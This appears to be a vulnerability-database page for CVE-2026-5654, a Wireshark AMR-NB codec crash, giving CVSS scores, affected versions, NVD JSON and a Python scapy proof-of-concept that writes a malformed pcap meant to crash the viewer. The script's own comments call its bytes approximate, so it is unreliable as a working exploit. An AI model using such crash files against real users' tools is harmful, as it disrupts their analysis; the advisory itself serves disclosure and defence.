Security Vulnerability Report
中文
CVE-2026-5654 CVSS 5.5 MEDIUM

CVE-2026-5654

Published: 2026-04-30 07:16:39
Last Modified: 2026-05-01 17:02:55

Description

AMR-NB codec crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
Wireshark 4.6.0 to 4.6.4
Wireshark 4.4.0 to 4.4.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-5654 (Wireshark AMR-NB Crash) # This script creates a malicious packet designed to trigger the crash. # Usage: python3 poc.py -> Open cve_2026_5654.pcap with vulnerable Wireshark from scapy.all import Ether, IP, UDP, Raw, wrpcap import sys def generate_malicious_pcap(filename="cve_2026_5654.pcap"): # Construct a basic packet frame # AMR-NB often runs over RTP/UDP, but the dissectors handle Raw input pkt = Ether() / IP(dst="127.0.0.1") / UDP(sport=1234, dport=5678) # Malicious payload targeting the AMR-NB codec parser # This payload simulates a malformed frame header that triggers the bug. # Exact bytes may vary based on specific dissection logic. # 0x3C is a common AMR-NB payload header byte, followed by garbage data malicious_payload = b"\x3c" + b"\x00" * 10 + b"\xff" * 50 pkt = pkt / Raw(load=malicious_payload) # Write the packet to a pcap file wrpcap(filename, [pkt]) print(f"[+] PoC file generated: {filename}") print(f"[+] Open this file in Wireshark 4.4.0 - 4.4.14 or 4.6.0 - 4.6.4 to reproduce the crash.") if __name__ == "__main__": generate_malicious_pcap()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5654", "sourceIdentifier": "[email protected]", "published": "2026-04-30T07:16:38.650", "lastModified": "2026-05-01T17:02:54.637", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AMR-NB codec crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndIncluding": "4.4.14", "matchCriteriaId": "77CF79F1-B53C-40A7-9570-A192D5A85ED6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndIncluding": "4.6.4", "matchCriteriaId": "B52139AE-161F-406A-B28D-F874CE8B68B6"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/issues/21111", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-18.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://gitlab.com/wireshark/wireshark/-/work_items/21111", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}